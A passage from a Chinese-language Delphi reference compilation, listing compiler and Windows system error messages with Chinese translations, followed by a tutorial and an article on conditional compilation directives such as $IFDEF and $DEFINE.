Procedure cannot have a result type 过程不能有结果类型

Procedure DISPOSE needs destructor 过程DISPOSE需要destructor

Procedure FAIL only allowed in constructor 过程FAIL只允许在constructor方法中

Procedure NEW needs constructor 过程NEW需要constructor方法

PROCEDURE or FUNCTION expected 要求PROCEDURE或FUNCTION

Procedure or function name expected 要求过程或函数名

Program or unit '' recursively uses itself 程序或单元递归

Property '' does not exist in base class 在基类中属性不存在

Published property '' cannot be of type Published属性不能具有类型

Published Real48 property '' must be Single, Double or Extended Published REAL属性必须为Single, Double或Extended

Re-raising an exception only allowed in exception handler 在意外处理中只允许重新引起意外处理

Read error on 文件读出错

Record, object or class type required 需要记录,对象或类类型

Redeclaration of '' hides a member in the base class 的重新说明隐藏了基类中一个元素

Redeclaration of property not allowed in OLE automation section 在OLE自动区段中不允许属性重复说明

Return value of function '' might be undefined 函数的返回值可能没有定义

Seek error on 在中搜索错误

Segment/Offset pairs not supported in Borland 32-bit Pascal 在Borland 32位的PASCAL中不支持Segment/Offset对

Sets may have at most 256 elements 集至少有256个元素

Size of published set '' is >32 bits published集的大小大于32字节

Slice standard function only allowed as open array argument Slice标准函数只允许作为打开数组参数

Statement expected, but expression of type '' found 要求语句,但出现类型的表达式

Statements not allowed in interface part 在界面中不允许的语句

String constant too long 字符串常量太长

String constant truncated to fit STRING[] 字符串常量截取到适合STRING[]

Strings may have at most 255 elements 字符串至少255个元素

Structure field identifier expected 要求结构域标识符

Syntax error in real number 实数语法错误

System unit out of date or corrupted: missing '' 系统单元超出日期或损坏:缺少

Text after final 'END. 编译器忽略END.后的文本

This form of method call only allowed for class methods 该方法的窗体只允许类方法

This form of method call only allowed in methods of derived types 该方法的窗体只允许在导出类型的方法中

This type cannot be initialized 这一类型不能初始化

Thread local variables cannot be ABSOLUTE 线程局部变量不能是ABSOLUTE

Thread local variables cannot be local to a function or procedure 线程局部变量对函数不能是局部的

Too many actual parameters 太多的实际参数

Too many conditional symbols 太多的条件符号

Type '' has no type info 类型没有类型信息

Type '' is not yet completely defined 类型至今没有定义

Type '' must be a class to have a PUBLISHED section 类型必须是在PUBLISHED区段中的类

Type '' must be a class to have OLE automation 类型必须是具有OLE自动的类

Type '' needs finalization - not allowed in file type 类型需要初始化-不允许在文件类型中

Type '' needs finalization - not allowed in variant record 类型需要初始化-不允许在变体记录

Type expected 要求TYPE

Type not allowed in OLE Automation call 在OLE自动调用中不允许的类型

Type of expression must be BOOLEAN 表达式的类型必须为BOOLEAN型

Type of expression must be INTEGER 表达式的类型必须为INTEGER型

TYPEINFO standard function expects a type identifier TYPEINFO标准函数要求类型标识符

TYPEOF can only be applied to object types with a VMT TYPEOF只能用于具有VMT的对象类型

Types of actual and formal var parameters must be identical 形参与实参必须一致

Undeclared identifier: '' 未说明的标识符

Unexpected end of file in comment started on line 以行开始的注释中出现不应有的文件结束

Unit was compiled with a different version of 单元与不同版本的编译

Unit name mismatch: '' 单元名不匹配

Unknown directive: '' 未知的指令

Unnamed arguments must precede named arguments in OLE Automation call 在OLE自动调用中未命名的参数必须在命名的参数前

Unsatisfied forward or external declaration: '' 不满足的向前或外部说明

Unterminated string 未结束的字符串

Value assigned to '' never used 赋给的值从未使用过

Variable '' inaccessible here due to optimization 由于优化,变量名在这里不能存取

Variable '' is declared but never used in '' 变量名已说明,但不曾使用

Variable '' might not have been initialized 变量名可能没有初始化

Variable required 需要变量

Virtual constructors are not allowed 不允许虚拟的constructors方法

Write error on 文件写错误

Wrong or corrupted version of RLINK32.DLL RLINK32.DLL版本错误或不能用

***********************************************************************************************

*******************************

* 运 行 错 误 信 息 *

* 运行时出现的错误信息形式为: *

* Run-time error nnn at xxxx *

* 其中 nnn 是运行时的错误编号 *

* xxxx 是运行时的错误地址 *

*******************************

运行时的错误分为以下三类:

* I/O错误:错误编号为100-149

编号 说明

---------------------------------------------------------

100 磁盘读错误,若要对超过格式文件尾进行读取时

101 磁盘写错误,若磁盘满时,由CloseFile,Write,Writeln或Flush报告

102 没有指定文件,若文件变量没有由Assign或AssignFile赋值,由Reset,Rewrite,Append,Rename和Erase报告

103 文件没有打开,若文件未打开,由CloseFile,Read,Write,Seek,Eof,FilePos,FileSize,Flush,BlockRead或BlockWrite报告

104 输入文件未打开,由Read,Readln,Eof,Eoln,SeekEof或SeekEoln报告有关输入的文本文件未打开

105 输出文件未打开,由Write和Writeln报告有关文本文件没有用Console应用程序生成

106 无效的数据格式,由Read或Readln报告从文本文件读取的数据格式不正确

* 致命错误:错误编号为200-255

编号 说明

---------------------------------------------------------

200 被零除

201 范围检查错误

202 栈上溢

203 栈上溢错误

204 无效的指针操作

205 浮点上溢

206 浮点下溢

207 无效的浮点操作

215 算术上溢错误

216 存取非法

217 控制-C

218 授权指令

219 无效的TYPECAST

220 无效的变体TYPECAST

221 无效的变体操作

222 没有变体方法调用DISPATCHER

223 不能建立变体数组

224 变体不包含数组

225 变体数组边界错误

226 TLS初始化错误

* 操作系统错误

编号 说明

---------------------------------------------------------

1899L 不能生成端点映射数据库

1752L 不能执行操作

1751L 入口点非法

1753L 端点映射中没有更多可用的端点

5L 存取非法

1331L 帐号当前不能用,因此不能登录

1793L 用户帐号过期

1327L 用户名是有效的,但一些限制不能验明用户

57L 网络适配器硬件错误

1379L 指定的别名已存在

1344L 分配用于更新的内存块不足

85L 本地设备名已在使用

183L 试图建立已存在的文件

1074L 系统当前正以最新最好的配置运行

7L 存储控制块被破坏

534L 运算结果超出32位

174L 文件系统不支持锁定类型的原子变化

199L 操作系统不能运行这一程序

160L 传递给DosExecPgm的参数串不正确

22L 设备不能识别的命令

1361L 安全描述符不在要求的格式

66L 网络资源类型不正确

1200L 指定的设备名无效

119L 系统不支持请求的命令

10L 环境不正确

193L %1不是有效的基于Windows的应用程序

11L 企图装载不正确格式的程序

1346L 指定的模拟级无效或没有提供要求的模拟级

1340L 试图建立继承的ACL或没有继承的ACE

24L 程序指定的命令长度不正确

1365L 登录段与要求的操作状态不一致

67L 网络名找不到

58L 指定的服务器不能执行请求的命令

53L 网络路径没有找到

161L 指定的路径名无效

230L 管道状态无效

1206L 网络连接协议被损坏

1204L 指定的网络提供者名无效

60L 远程适配器不兼容

159L 线程ID地址不正确

1349L 符号对象类型不当

20L 系统不能找到指定的设备

2202L 指定的用户名无效

1348L 请求的确定信息类是无效的

1009L 配置记录数据库被破坏

1010L 配置记录密钥无效

1102L 遇到磁带头或分区

1076L 当前引导已接受为最新的控制设置

109L 管道结束

111L 文件名太长

1111L I/O总线重新设置

170L 请求的资源在使用

142L 此时系统不能执行JOIN或SUBST

120L 输入的API只能在Windows/NT模式下工作

1003L 由于一些原因不能完成的功能

173L 锁定请求对提供撤消区未解决

266L 不能使用

1407L 不能找到Windows类

1368L 表示要试图通过命名管道的模拟还没有读取

82L 不能生成目录或文件

1205L 不能打开网络连接协议

1351L 没有联系的域控制器或在域内对象被保护,因此不能存取必要信息

1310L 委托组不能禁止

1347L 试图打开匿名的符号,匿名级的符号不能打开

1011L 配置记录密钥不能打开

1012L 配置记录密钥不能读取

1013L 配置记录密钥不能写

1021L 试图在易变的父关键字下建立稳定的子关键字

129L 应用程序%1不能在Windows模式下运行

1436L 子窗口不能有菜单

1059L 指定子循环服务从属

1410L 类已存在

1411L 类不存在

1412L 类仍在打开的窗口中

1418L 线程没有打开的剪切板

1201L 设备当前没有连接,但要记住连接

1421L 没有找到控制ID

1121L 由于超时已到,一系列的I/O操作完成

23L 数据错误

16L 目录不能删除

1065L 指定的数据库不存在

1425L 传递给ReleaseDC的无效HDC

1051L 终止控制已送到其他独立运行服务的服务中

1435L 不能破坏其他线程产生的对象

55L 指定的网络资源不再有效

1202L 试图记住先前记住的设备

2404L 设备由激活的进程在使用,不能断开连接

1107L 当装载磁带时,找不到磁带的分区信息

145L 目录非空

144L 目录不是根目录的子目录

130L 试图使用文件句柄来打开磁盘操作

267L 目录名无效

157L 段已丢失,不能锁定

107L 由于没有插入交换磁盘,程序终止

1393L 磁盘结构损坏,不能在读取

112L 磁盘上没有足够的空间

1127L 即使重试,存取硬盘也失败

1126L 在存取硬盘时,即使重试,存取校准操作也失败

1128L 即使磁盘控制器重新设置,存取硬盘也失败

1114L DLL初始化例程失败

1356L 指定的域已存在

1357L 在该版本中试图超出每个服务器域的限制

1810L 指定域的名字或安全ID与该域的受托信息不一致

108L 磁盘在使用或被其他进程锁定

1221L 工作族或域名已被网络上的其他计算机使用

52L 网络上存在重名

1078L 名字已在作服务器名或服务显示名使用

196L 操作系统不能运行这一应用程序

994L 对EA的存取非法

276L 在安装文件系统上的EA文件被损坏

255L EA不一致

277L 在安装文件系统的EA文件上的EA表用完

275L EA不适合在缓冲区中

282L 安装文件系统不支持扩展属性

1100L 在操作中出现磁带尾部标志

203L 系统不能找到输入的环境选项

1129L 遇到磁带的物理尾部

1501L 没有打开的日志文件事件,因此事件登录服务没有启动

1503L 在读取之间事件日志文件已改变

1500L Eventlog登录文件之一破坏

1064L 在处理控制请求时出现意外

101L 专门信号被其他进程所拥有

192L 操作系统不能运行%1

1208L 出现扩展错误

83L INT24失败

1063L 服务进程不能连接到服务控制器

1392L 文件或目录被损坏,不能在读取

80L 文件存在

1006L 文件卷已变化,因此打开的文件不再有效

2L 系统不能找到指定的文件

1101L 磁带存取达到文件标志

206L 文件名或后缀太长

1125L 软盘控制器返回与登记不一致的结果

1122L 在软盘上没有找到ID地址标志

1123L 软盘扇区ID域与软盘控制器道地址不匹配

1124L 软盘控制器报告出现不能由软驱识别的错误

1007L 请求的操作在全屏幕模式不能执行

31L 连接到系统上的设备不正常

1360L 通配存取类型包含在存取屏蔽中

1429L 该异常分支只能为全局设置

1318L 指定的组已存在

39L 磁盘满

38L 到达文件末

1428L 没有模块处理,不能设置非局部的异常处理

1431L 异常分支没有安装

1409L 热键已登记

1419L 热键没有登记

1441L 所有的DeferWindowsPosHWND必须具有相同的父

1324L 在更新口令时,该返回状态表示新口令中包含不允许的值

202L 操作系统不能运行%1

122L 传递给系统调用的数据区太小

1358L 由于灾难性的介质错误或磁盘数据结构破坏引起请求的操作不能完成

1383L LSA数据库内部不一致

1359L SAM遇到内部数据库不一致的错误,可防止SAM的进一步操作

1800L 指定的优先级无效

1448L 滚动条范围大于0x7FFF

1338L 安全描述符结构无效

198L 操作系统不能运行%1

180L 系统检测到不正确的段号

1799L 指定的分隔符文件无效

1352L SAM服务器状态错误,不能完成期望的操作

1057L 帐号名无效或不存在

1052L 对该服务请求的控制无效

1071L 指定的服务数据锁定无效

1213L 指定的服务名格式无效

1215L 指定的共享名格式不正确

1449L SHOWWINDOWS命令无效

1337L SID结构无效

209L 公布的信号不正确

1439L 参数无效

189L 操作系统不能运行%1

188L 操作系统不能运行%1

1335L 子权限值无效

114L 目标内部文件标识符不正确

1444L 线程ID无效

1784L 提供的用户缓冲区对请求操作失效

118L 写后验证开关参数值不正确

1400L 窗口处理无效

1329L 用户帐号限制,不能从源工作站登录

1117L 由于I/O设备错误,请求不能完成

996L 重叠的IO时间不在发信号状态

997L 重叠的IO操作在处理中

197L 操作系统当前不能配置来运行应用程序

1119L 不能打开与其它设备共享IRQ的设备,至少有一使用该IRQ的其他设备已打开

147L 没有足够的可用资源来处理这一命令

133L 由于驱动器已包含连接,JOIN或SUBST命令不能使用

134L 试图在已连接的驱动器上使用JOIN或SUBST命令

146L 指定的路径正在用替换

149L 试图替代先前已替代的驱动器目录

135L 试图在已替代的驱动器上使用JOIN或SUBST命令

194L 操作系统不能运行%1

138L 系统试图替代已替代的目录

140L 系统试图替代已替代的目录

1430L 日常异常处理已安装

1018L 在有删除标志的登记键上非法操作

1020L 试图在已有子键或值的登记键建立符号连接

154L 输入的卷标超过11个字符的限制,前11个字符写在磁盘上,其余字符自动删除

1322L 请求的操作被禁止或删除最新的其余管理员帐号

1434L 该列表框不支持制表符

1416L 列表符ID没有找到

1390L 试图修改用户口令,但没有提供要求的LM口令

1303L 联接局部RPC,要求用户话路密钥

167L 试图锁定文件失败的区域

33L 由于其他进程已锁定部分文件,该文件不能被进程存取

212L 端锁定,因此不能重新分配

1502L 事件登录文件已满

1326L 由于用户名或验证信息不正确,试图登录无效

1380L 请求登录的类型(如网络,服务等)没有被目标系统授权

1366L 登录话路ID已在使用

1363L 试图启动新的话路管理程序或用已在使用的LSA登录话路

1385L 请求登录的类型(如网络,服务等)没有授权

1334L 没有更多可分配的LUID

164L 在系统中不能生成更多的线程

1110L 驱动器中的介质已改变

1378L 指定的帐号名不是别名的成员

1320L 指定的用户帐号已在指定的组帐号中或由于组中有成员,不能删除

1377L 指定的帐号名不是别名的成员

1321L 指定的用户帐号不是指定组帐号的成员

1374L 由于组是基本组,因此成员不能从该组中删除

208L 取决文件名符号*或?输入不正确或指定的全局文件符号更多

126L 不能找到指定的模块

234L 需要更多的数据

1120L 一系列的I/O操作被其他写到串口的操作完成

317L 系统不能找到消息号为0x%1的消息

131L 试图在超出文件头的位置移动文件指针

215L 不能嵌套调用LoadModule

1792L 试图登录,但网络登录服务没有启动

88L 网络写失败

64L 指定的网络名不再有效

65L 网络存取非法

54L 网络在忙

6118L 该工作组的服务器列表当前不可用

232L 管道在进程中关闭

1104L 在磁带存取中,到达数据标志尾部

1309L 试图由当前不在模拟客户的线程上操作模拟符号

1391L ACL不包含可继承的组件

1019L 系统不能分配记录文件要求的空间

1807L 使用的帐号在内域受托帐号中,使用正常的帐号或远程用户帐号来存取该服务器

1809L 使用的帐号在服务器受托帐号中,使用正常的帐号或远程用户帐号来存取该服务器

1311L 当前没有可用的登录服务器来服务登录请求

1808L 使用的帐号在工作站受托帐号中,使用正常的帐号或远程用户帐号来存取该服务器

1112L 由于驱动器中没有介质,磁带查询失败

18L 没有更多的文件

259L 没有更多的可用数据

113L 没有更多的可用内部文件标识符

1203L 没有网络提供者接收给定的路径

2138L 没有网络或网络未启动

89L 此时系统不能启动另一进程

1302L 对该帐号没有指定限额

1447L 窗口不能有滚动条

1350L 试图对没有安全性的对象操作

1116L 由于没有关机在处理中,试图放弃关机失败

205L 在命令子树中没有进程有信号句柄

62L 在服务器上存储等待打印文件的空间不足

1376L 指定的别名不存在

1355L 指定的域不存在

1319L 指定的组不存在

1312L 指定的登录话路不存在,可能已终止

1387L 不存在的新成员不能添加到别名中

1364L 指定的验证包未知

1313L 指定的特权不存在

1317L 指定的用户不存在

1437L 窗口不能具有系统菜单

1008L 试图引用不存在的符号

1786L 工作站没有受托秘密

1787L 域控制器对该工作站没有帐号

1113L 对目标多字节代码页存在的Unicode字符没有映射

1394L 对指定的登录话路没有用户话路密钥

125L 磁盘没有卷标

1417L 没有找到通配符

998L 对内存位置的无效存取

1445L 用非MDI子窗口调用DefMDIChildProc

1332L 映射的信息没有转变

1300L 不是所有权限赋给调用者

1442L 窗口不是子窗口

2250L 网络连接不存在

1207L 不能枚举非容器

26L 指定的磁盘不能存取

8L 没有足够的空间处理该命令

1130L 没有足够的空间处理该命令服务器

136L 系统试图删除没有连接的驱动器

158L 段已锁定

1362L 请求的动作只受登录进程的限制,调用进程没有登记为登录进程

288L 试图释放不被调用者拥有的互斥法

21L 驱动器没有准备好

1017L 系统试图装载或恢复文件到登记中,但指定的文件格式不正确

17L 系统不能将文件移动到不同的驱动器上

137L 系统试图删除没有替代的驱动器

50L 不支持网络请求

1022L 改变请求正在完成,信息没有返回在调用者的缓冲区.调用者现在需要模拟文件,以找到所做的修改

1386L 没有提供必要的NT交叉保密口令而试图以安全帐号管理员改变用户口令

1304L WindowsNT的口令太复杂,无法将其转换为Windows的网络口令(该口令返回NULL字符串)

110L 系统不能打开指定的设备或文件

2401L 有打开文件或请求在连接期

995L 由于线程退出或应用程序请求,I/O操作放弃

28L 打印机没有纸

84L 处理该请求没有足够的空间

14L 处理该操作没有足够的空间

1105L 磁带没有分区

1330L 用户帐号的口令已到期

1325L 在更新口令,该状态表示违反一些口令更新规则

148L 指定的路径现在不能用

3L 系统不能找到指定的路径

231L 所有的管道实体在忙

535L 在管道的另一端有进程

536L 等待进程打开管道的另一端

233L 在管道的另一端没有进程

1446L 下拉式菜单已激活

1131L 已检测到潜在的僵局条件

63L 要打印的等待文件被删除

1802L 打印机已存在

1795L 指定的打印驱动程序已安装

61L 打印队列已满

1415L 使用局部的DIALOG窗口字

1314L 请求的权限客户机没有

127L 指定的过程没有找到

1067L 进程突然终止

30L 系统不能从指定的驱动器读取

72L 指定的打印机或磁盘驱动器已暂停

1794L 重定向器在使用,不能卸载

1015L 登记文件的文件结构或文件的内存印象系统损坏或文件不能恢复

1016L 登记初始化I/O操作有不可恢复的错误,登记不能完成读,写等操作

1014L 包含系统登记数据的文件之一已恢复成功

201L 操作系统不能运行%1

51L 远程计算机不可用

1220L 试图建立LAN管理服务器话路,但已建立了很多

71L 网络请求不接受

1816L 处理该命令没有足够的定额

1812L 指定的图象文件不包含资源部分

1815L 指定的资源语言ID在图象文件中找不到

1814L 指定的资源名在图象文件中找不到

1813L 指定的资源类型在图象文件中找不到

1306L 两个版本级不兼容

207L 2环堆栈在使用

200L 代码段不能大于等于64KB

1370L 在登记事务委托中出现错误

1369L 登记子树的事务状态与请求的操作不兼容

143L 系统不能替代相同的驱动器或目录

1440L 屏幕已锁定

1382L 秘密的长度超出允许的最大长度

27L 驱动器没有找到请求的扇区

25L 驱动器不能找到磁盘上指定的区域和道

132L 文件指针不能设置在指定的设备或文件上

102L 信号设置不能关闭

187L 指定的系统信号名没有找到

105L 该信号的先前物主关系已终止

121L 信号超时期已到

106L 在驱动器1中插入磁盘

1118L 串行设备没有初始化,串行设备没有安装

1341L GUID分配服务器此时禁止

1811L 服务器在使用中,不能卸载

1342L 此时允许GUID分配服务器

1056L 服务实体已在运行

1061L 服务在此时不能接受控制消息

1055L 服务数据库锁定

1075L 从属服务不存在或已做删除标志

1068L 从属服务或组启动失败

1058L 指定服务禁止,不能启动

1060L 指定作为安装的服务不存在

1073L 指定的服务已存在

1069L 由于登录失败,服务不能启动

1072L 指定的服务已做删除标志

1077L 引导后没有启动的服务已启动

1054L 不能产生该服务的线程

1062L 服务没有启动

1053L 服务对启动没有响应或及时地控制请求

1066L 服务已返回一服务指定错误代码

1070L 在启动后,服务挂在启动等待状态

1219L 提供的证书与已有证书集冲突

1433L LB_SETCOUNT发送到非缓慢的列表框

1103L 磁带存取达到设置标志

36L 打开的共享文件太多

70L 远程服务暂停或在启动的过程中

32L 由于文件被其他进程使用,该进程则不能存取

1115L 系统关闭在处理中

162L 信号已暂挂

156L 接受进程拒绝信号

1301L 要映射的一些信息没有传送

1371L 试图在与内置帐号不兼容的SAM帐号上操作

1372L 请求的操作不能在指定的组上执行,由于它的内置的特殊组

1373L 请求的操作不能在指定的用户上执行,由于它的内置的特殊组

1001L 递归太深,堆栈溢出

141L 系统试图SUBST一驱动器到已替代驱动器的目录

139L 系统试图替代一驱动器到已替代驱动器的目录

0L 操作成功的完成

999L 存取分页的文件错误

150L 系统追踪的信息不在指定的CONFIG.SYS文件中或追踪不允许

210L 信号句柄没有设置

1406L CreateWindows失败,建立WS_CHILD类的顶级窗口

1375L 试图建立作为基本使用的符号,但该符号已在使用.一次只能有一个基本的符号

56L 已达到网络BIOS命令限制

1384L 在试图登录中,用户的安全堆集太多的安全ID

1333L 请求的LUD数不能在单个的分配中分配

214L 太多的动态连接模块连接到该程序中或动态模块中

152L 已设置太多的信号

68L 超出局域网网卡的名字限制

4L 系统不能打开该文件

298L 给信号太多的邮件

1381L 在单个系统中可存储的最大秘密数超出

103L 信号不能重新设置

100L 不能建立另一系统信号

69L 网络BIOS话路超出

1389L 指定太多的SID

155L 不能建立另一线程

1790L 网络登录失败

1788L 在主域与受托域之间的受托关系失败

1789L 在工作站与主域之间的受托关系失败

1108L 试图锁定缺少弹出介质的机构

1109L 卸载介质失败

59L 出现意外的网络错误

1796L 指定的处理器未知

1798L 打印处理器未知

1797L 打印驱动器未知

1305L 遇到或指定的版本对服务来说未知

1785L 磁盘介质不能辨认,可能是未格式化

1005L 卷不包含识别文件系统

1316L 指定的用户已存在

240L 话路取消

128L 没有等待的子进程

1423L 窗口不是一命令框

1420L 窗口不是一有效的对话框

1408L 无效的窗口,属于其他的线程

29L 系统不能写到指定的驱动器

19L 介质写保护

34L 驱动器中错误的磁盘,将%2(卷系列号%3)插入到驱动器%1中

1323L 在更新口令时,该状态表示提供的口令值不正确

-1L 无效的输入句柄

-2L 无效的输入句柄

-7L 输入参数超出范围

-5L LZFile文件结构内存不足

-6L 不正确的全局句柄

-3L 损坏的压缩文件结构

-4L 输出文件空间不足

-8L 不能识别的压缩算法

0L 没有错误

1768L 在服务器中出现编址错误

1713L 服务器已在听从

1711L 对象UUID已登记

1746L 连接不包含鉴别信息

1726L 远程过程调用失败

1727L 远程过程调用失败,不能执行

1791L 远程过程调用已在该线程处理中

1764L 不支持请求的操作

1720L 不能生成端点

1740L 端点重复

1760L 入口已存在

1761L 入口没有找到

1769L 在服务器上的浮点操作被零除

1771L 在服务器上出现浮点上溢

1770L 在服务器上出现浮点下溢

1898L 组成员没有找到

1755L 入口名不完善

1759L 界面没有找到

1766L 在RPC中出现内部错误

1749L 安全上下文无效

1702L 连接句柄无效

1734L 数组边界无效

1706L 端点格式无效

1736L 名称语法无效

1707L 网络地址无效

1724L 网络选项无效

1900L 对象通用唯一标识符为空

1704L RPC协议序列无效

1700L 字符串连接无效

1705L 字符串UUID失效

1733L 标志无效

1709L 超时值无效

1756L 版本选项无效

1742L 调用的最大数太小

1762L 命名服务不可用

1718L 没有连接

1725L 在该线程中没有远程过程调用

1765L 允许的模拟没有安全上下文可用

1708L 没有找到端点

1735L 连接不包含入口点名

1806L 没有足够的连接

1757L 没有足够的成员

1719L 没有协议序列

1714L 没有登记的协议序列

1715L 服务器没有听从

1710L 对象UUID没有找到

1721L 没有足够的资源完成该操作

1745L 过程号超出范围

1728L 出现RPC协议错误

1744L RPC协议序列没有找到

1703L 不支持RPC协议序列

1731L 服务器没有足够的内存完成该操作

1723L 服务器太忙,不能完成该操作

1722L 服务器不可用

1743L 字符串太长

1712L 类型UUID已登记

1748L 未知的鉴别级

1747L 未知的鉴别服务

1741L 未知的鉴别类型

1750L 未知的授权服务

1717L 未知的界面

1716L 未知的管理类型

1737L 不支持命令语法

1730L 服务器不支持转换语法

1732L 不支持类型UUID

1739L 没有可用于构造UUID的网络地址

1701L 连接处理为不正确的类型

1767L 服务器试图做整数被零除

1783L 存根接收到不正确的数据

1782L 字节计算太小

1781L 枚举值超界

1772L 用于自动处理连接的可用服务器已用完

1780L 空引用指针传递到存根

1779L 存根不能得到调用句柄

1773L 由DCERPCCHARTRANS指定的文件不能打开

1774L 包含字符转换表的文件小于512KB

1777L 在调用中上下文处理改变

1776L 上下文句柄与任何已知的不匹配

1778L 传递给远程调用的连接句柄不匹配

1775L 空的上下句柄作为参数传递


Delphi中预编译指令的使用方法

在Delphi中，也有与C相似的预编译指令，虽然该类指令只在当前的单个文件有效（也有可能是笔者未全面了解该类指令的真正用法），但是这一类指令对于进行多版本的制作工作（如从标准版中出学习版），确实有着相当不错的用途。

一．指令介绍：

1． DEFINE指令：

格式：{$DEFINE 名称}

说明 ：用于定义一个在当前单元有效的符号（Symbol）。定义了

之后可以使用IF DEF和IFNDEF指令来判断该符号是否存在。

2． UNDEF指令：

格式：{$UNDEF 名称}

说明：用于取消一个在当前单元已经定义的符号（Symbol）。该指令和DEFINE

配合使用。

3． IFDEF指令：

格式：{$IFDEF 名称}

说明：如果该指令后的名称已经定义，则编译该指令后直到{$ELSE}或{$ENDIF}之间的代码段。

4． IFNDEF指令：

格式：{$IFNDEF 名称}

说明：如果该指令后的名称没有定义，则编译该指令后直到{$ELSE}或{$ENDIF}之间的代码段。

5． IFOPT指令：

格式：{$IFOPT 开关}

说明：如果该指令后的开关已经设立，则编译该指令后直到{$ELSE}或{$ENDIF}之间的代码段。

举例：{$IFOPT R+}

Writeln('编译时打开范围检查开关');

{$ENDIF}

6． ELSE指令：

格式：{$ELSE}

说明：通过判断前缀Ifxxx的条件式来确定该指令到{$ENDIF}之间的代码段是否应该被编译或者忽略掉。

7． ENDIF指令：

格式：{$ENDIF}

说明：和Ifxxx配合，指明条件预编译段源代码段的结束位置。

二．范例：

编写例子，通过预先定义不同的编译符号，进行不用代码段的编译工作。

1． 新建一个Delphi项目，在Unit1单元的窗体上添加一个Button按钮。

2． 编写程序如下：

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

procedure FormCreate(Sender: TObject);

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

a : String;

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

{$DEFINE AAA} // 定义行。

procedure TForm1.FormCreate(Sender: TObject);

begin

a := 'Other';

{$IFDEF AAA}

a := 'AAA';

{$ENDIF}

{$IFDEF BBB}

a := 'BBB';

{$ENDIF}

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

Caption := a;

end;

end.

{注：粗体字部分为输入的代码}

3． 编译后运行，按下Button，则看到窗体标题栏显示“AAA”。程序编译了a := ’AAA’的语句。

4． 改变定义行的程序段：

当改为

{$DEFINE BBB}

时，再次编译运行，则看到窗体标题栏显示“BBB”。程序编译了a := ’BBB’的语句。

当取消定义行或改为

{$DEFINE NOTHING}

或其他名称时，再次编译运行，则看到窗体标题栏显示“Other”。程序只编译了a := ’Other’的语句。

三．如何快速的制作和更改版本：

使用预编译指令，在制作同一个程序的多个版本时，只需找出各版本中有区别的单元，依次定义统一的版本符号（Symbol），然后在程序段中加入条件预编译指令，就可以在实际编译中取舍编译不同的程序部分，这样对于程序的规范性（定义统一的版本符号）和保密性（不同的版本编译不同的程序部分）有很好的作用。

然而，由于该类预编译指令只能作用于当前单元，所以不便之处在于不能在一个公共单元定义一次版本符号，而必须在各单元中定义统一版本符号才行，故此，在更换版本时，需要确定所有的版本符号都已改变，这样才能保证各版本的正确性，对此，可以使用Delphi IDE的“Find in Files…”（多个文件中查找字符串）的功能，找出所有定义版本符号的文件和位置，然后依次更改，保证所有位置已经改正。


Delphi编译指令集

编译指令与说明

作者: 钱达智(Wolfgang Chien) wrote on 1996.12.15-19

E-mail: wolfgang@ms2.hinet.net

WWW: http://www.aaa.hinet.net/delphi/~chien.htm

{$IFDEF WIN32} -- 这可不是批注喔!

对于Delphi来说﹐左右大括号之间的内容是批注﹐然而「{$」

(左括号后紧接着货币符号)对于Compiler(编译器)而言并不是批注﹐

而是写给Compiler看的特别指示。

应用时机与场合

Delphi中有许许多多的Compiler Directives(编译器指令)﹐

这些编译指令对于我们的程序发展有何影响呢? 它们又能帮我们什么忙呢?

Compiler Directive 对程序开发的影响与助益, 可以从以下几个方向来讨论:

? 协助除错

? 版本分类

? 程序的重用与管理

? 设定统一的执行环境

协助除错

稳健熟练的程序设计师经常会在开发应用系统的过程中﹐特别加入

一些除错程序或者回馈验算的程序﹐这些除错程序对于软件品质的

提升有极其正面的功能。然而开发完成的正式版本中如果不需要这

些额外的程序的话﹐要想在一堆程序中找出哪些是除错用的程序并加以

删除或设定为批注﹐不仅累人﹐而且容易出错﹐况且日后维护时这些除错程序还用得着。

此时如果能够应用像是$IFDEF的Compiler Directives ﹐就可以轻易的

指示Delphi要/不要将某一段程序编进执行文件中。

同时﹐Compiler本身也提供了一些错误检查的开关﹐

可以预先对程序中可能的问题提醒程序设计师注意﹐同样有助于撰写正确的程序。

版本分类

除了上述的除错版本/正式版本的分类之外﹐对于像是「试用版」「普及版」

「专业版」的版本分类﹐也可以经由Compiler Directive的使用﹐为最后的

产品设定不同的使用权限。其它诸如「中文版」「日文版」「国际标准版」

等全球版本管理方面﹐同样也可以视需要指示Delphi特别连结哪些资源档或

者是采用哪些适当的程序。以上的两则例子中﹐各版本间只需共享同一份程序代码即可。

Delphi 1.0 与 Delphi 2.0有许多不同之处﹐组件资源文件(.DCR)即是其中

一例﹐两者的档案格式并不兼容﹐在您读过本文之后﹐相信可以写出这样的程序﹐

指示Delphi在不同的版本采用适当的资源文件以利于组件的安装。

{$IFDEF WIN32}

{$R XXX32.DCR}

{$ELSE}

{$R XXXX16.DCR}

{$EDNIF}

程序的重用与管理

经过前文的讨论后﹐相信你已经不难看出Compiler Directives在程序管理上的应用价值。

对于原始程序的重用与管理﹐也是Compiler Directives 使得上力的地方. 举例来说:

Pascal-Style字符串是Delphi 1.0与 Delphi 2.0之间的明显差异﹐除了原先的短字符串之外﹐

Delphi 2.0之后还多了更为方便使用的长字符串﹐同时﹐系统也额外提供了像是 Trim()

这样的字符串处理函式。假如您有一个字符串处理单元必须要同时应用于Delphi 1.0 与

2.0的项目时﹐编译指示器可以帮你的忙。

此外﹐透过像是{$I xxxx} 这样的 Compiler Directives﹐我们也可以适当的含入某些

程序, 同样有助于切割组合我们的程序或编译设定。

设定一致的执行环境

项目小组的成员间﹐必须有共同的环境设定﹐我很难预料一个小组成员间彼此有不同的

{$B}{$H}{$X}设定﹐最后子系统在并入主程序时会发生什么事。

此外, 当您写好一个组件或单元需要交予第三者使用时, 使用编译指示器也可以保证元

件使用者与您有相同的编译环境。

使用Compiler Directives

指令语法

Compiler Directives从外表看起来与批注颇为类似, 与批注不同的是:

Compiler Directives的语法格式都是以「{$」开始, 不空格紧接一个名

称(或一个字母)表明给Compiler的特别指示, 再加上其它的开关或参数内容,

最后以右大括号作为指令的结束, 例如:

{$B+}

{$R-}

{$R MyCursor.res}

同时, 就如同Pascal的变量名称与保留字一样, Compiler Directives也是

不区分大小写的。

从指令的语法格式来说Compiler Directives﹐可以进一步分类成以下三种格式:

? 开关指令(Switch directives)

这类指令都是单一字母以不空格的方式连接「+」或「-」符号; 或者是开关名

